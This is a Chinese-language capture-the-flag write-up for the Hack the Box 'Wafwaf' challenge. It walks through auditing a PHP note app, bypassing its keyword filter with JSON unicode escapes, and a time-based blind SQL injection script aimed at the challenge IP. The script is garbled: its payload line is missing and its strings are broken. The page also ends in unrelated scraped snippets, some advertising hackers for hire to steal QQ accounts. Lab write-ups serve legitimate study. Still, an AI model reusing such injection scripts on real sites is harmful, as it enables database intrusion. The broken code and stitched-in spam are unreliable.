Hack the Box——Wafwaf(代码审计) wp

访客4年前黑客资讯823

0x00前言


又开始了一天的学习之路,首先打开了我的Hack the Box

Wafwaf

1611453329_600cd391641143be627d3.png!small?1611453329717

提示:My clas *** ate Jason made this *** all and super secure note taking application, check it out!(我的同学Jason *** 了这个小型且超级安全的笔记记录应用程序,请查看!)


0x01访问网站


访问界面,简单明了,直接给了源码

http://159.65.87.50:31703/

1611453347_600cd3a3048db28be997e.png!small?1611453347301

显然就是代码审计了

简单看下代码,流程就是:php://input获取数据=> waf函数验证非法字符=>? 解码json数据=> 执行sql语句

0x02代码分析

  • error_reporting(0)? 关闭错误报告。

  • preg_match_all? ? ? 函数用于执行一个全局正则表达式匹配。

  • preg_quote()? ? ? ? ? 需要参数 str 并向其中 每个正则表达式语法中的字符前增加一个反斜线。 这通常用于你有一些运行时字符串 需要作为正则表达式进行匹配的时候。

  • 正则表达式特殊字符有: . \ + * ? [ ^ ] $ ( ) { }=! < > | : -

  • json_decode? ? ? ? ? 对 *** ON 格式的字符串进行解码。

  • file_get_contents() 把整个文件读入一个字符串中。

问题

  • 没过滤全sql关键字,还可以注入

  • preg_match_all函数可能有问题,可能可以通过某种输入绕过正则

  • php://input可能有漏洞

  • json_decode函数可能有漏洞

0x03寻找答案

首先,检查 waf() *** 时,我们收到输入并验证筛选。如果不在筛选json_decode,则可以看到使用 *** 返回值。
query() *** 获取 $obj->user 的值并发送 SQL 请求,但查看返回值时,不会返回特定值,也不会输出错误。所以首先好像是Time Based Blind SQLI问题

然后,我们检查 waf 的参数值,获取并交出php://input的值。

php://input获取原始数据,该数据将作为 Post 请求的主体部分。

将值发送到原始数据,以便获取并输出该值。因此,让我们将 SQLI 有效负载作为原始数据

1611453427_600cd3f31e4867caa9220.png!small?1611453427445

在json_decode中,它转换为字符串并返回。Unicode Escape?可以在此处完成。

0x04解决问题

理论上应该可以用sqlmap自定义tamper去跑的,但是自己尝试半天没有成功,最后自己写了盲注脚本,花了我一下午的时间,最后跑这个脚本还等了我一晚上的时间

#!/usr/bin/python3
# -*- coding:utf-8 -*-
"""
@author: maple
@file: wafwaf.py
@time: 2021/1/23 17:10
@desc: 
"""

from requests import post
from time import time
from json import dumps

url="http://159.65.87.50:31703"
headers={'content-type': 'application/json'}
payload=
-".format(second_time - first_time))
    elif mode=='2':
        for i in range(100):
            first_time=time()
            if i < 10:
                unicode_="\0 + str(i)
            elif i >=10 and i < 20:
                unicode_="\1\0 + str(i)[1]
            elif i >=20 and i < 30:
                unicode_="\2\0 + str(i)[1]
            elif i >=30 and i < 40:
                unicode_="\3\0 + str(i)[1]
            elif i >=40 and i < 50:
                unicode_="\4\0 + str(i)[1]
            elif i >=50 and i < 60:
                unicode_="\5\0 + str(i)[1]
            elif i >=60 and i < 70:
                unicode_="\6\0 + str(i)[1]
            elif i >=70 and i < 80:
                unicode_="\7\0 + str(i)[1]
            elif i >=80 and i < 90:
                unicode_="\8\0 + str(i)[1]
            elif i >=90 and i < 100:
                unicode_="\9\0 + str(i)[1]
            else:
                unicode_="\1\0\0"
            post(url, data=json_update(query.format(unicode_), '0'), headers=headers)
            second_time=time()

            if second_time - first_time >=4.9:
                print("[*] Sleep : {}".format(second_time - first_time))
                print("[*] {} : {}
-".format(string, i))
                break
    elif mode=='3':
        result=''
        for j in range(1, Len + 1):
            unicode__="\0 + str(j)
            for i in range(33, 128):
                if i >=33 and i < 40:
                    unicode_="\3\0 + str(i)[1]
                elif i >=40 and i < 50:
                    unicode_="\4\0 + str(i)[1]
                elif i >=50 and i < 60:
                    unicode_="\5\0 + str(i)[1]
                elif i >=60 and i < 70:
                    unicode_="\6\0 + str(i)[1]
                elif i >=70 and i < 80:
                    unicode_="\7\0 + str(i)[1]
                elif i >=80 and i < 90:
                    unicode_="\8\0 + str(i)[1]
                elif i >=90 and i < 100:
                    unicode_="\9\0 + str(i)[1]
                elif i >=100 and i < 110:
                    unicode_="\1\0\0 + str(i)[2]
                elif i >=110 and i < 120:
                    unicode_="\1\1\0 + str(i)[2]
                elif i >=120 and i < 130:
                    unicode_="\1\2\0 + str(i)[2]
                else:
                    unicode_="\1\3\0 + str(i)[2]
                first_time=time()
                post(url, data=json_update(query.format(unicode__, unicode_), '0'), headers=headers)
                second_time=time()

                if second_time - first_time >=4.9:
                    result +=chr(i)
                    break
        print("[*] {} : {}".format(string, result))
        print("-")

代码此处贴一半,有需要的人自己尝试完善,也可以私聊我给你。

这套代码如果以后遇到基于时间的盲注还可以复用

最后脚本跑出来的结果

1611457881_600ce559490986a668954.png!small?1611457881705

0x05总结

因为一开始对这题没有任何思路,尝试了多种sqlmap知识,然后一直在google和百度,但是都没有找到解决办法,但是也乘机见识了很多新的姿势,比如各种绕过,也学会了编写时间注入的tamper脚本


相关文章

淘宝怎么找黑客办事-如何成为黑客 基础入门苹果手机(零基础如何成为

顺丰拉黑客户怎么处理手机怎么制作网站教程(手机端网站制作教程)怎么能够联系上黑客盗qq号的网站在哪里呢(盗qq号密码网站)怎么防黑客软件学黑客看什么书(如何成为黑客看什么书)怎么找黑客干活哪里能找黑客...

2020年5月10日最新漂亮母亲节祝福动态图片 母亲节快乐祝福语

2020年5月10日最新漂亮母亲节祝福动态图片 母亲节快乐祝福语

1、 一个电话,可以安慰母亲孤独的心;一句问候,可以温暖母亲寂寞的心;回家看看,可以感动母亲等待的心;合家团圆,可以圆满母亲期盼的心。母亲节,行动证明你爱她! 2、 一个人想,一个人走,一个...

新零售未来发展趋势(新零售发展趋势和前景)

  有什么新的零售相关概念股?新零售概念的关键个股目录   新零售是线上与线下和货运物流的融合。阿里巴巴网、JD.COM、苏宁易购等零售大佬颠复了对方式界限的认知能力,线下推广货运物流和网上货运物流...

黑客指纹,黑客软件教程下载,黑客如何合法赚钱

0x00010458 12>: str r0, [r11, #-80] ; 0x50mt_rand()已知的是有缝隙的,咱们能从恣意mt_rand()值中康复种子,假如想了解细节,能够参阅这篇文...

为什么企业越来越重视营销型网站?

为什么企业越来越重视营销型网站?

建网站是传统企业毗连互联网最普遍的方法,各类范例的网站都已到处可见,乐成者山外有山,都是小巫见大巫的时代。但跟着互联网技能的高速成长,网站也开始有了侧重的偏向,就如当前,已经越来越多的企业重视建树营销...

王者荣耀下一个五虎将皮肤是谁的 新五虎将皮肤分享

王者荣耀下一个五虎将皮肤是谁的 新五虎将皮肤分享

王者荣耀下一款五虎将皮肤是谁的?五虎将皮肤已经推出了一些的皮肤,剩下就是三颗的皮肤,获得大家高度的关注,每次一款皮肤爆料就会得到大家的关注和讨论,不知道如何才能知道的,下款五虎将皮肤是谁?小皮小编就来...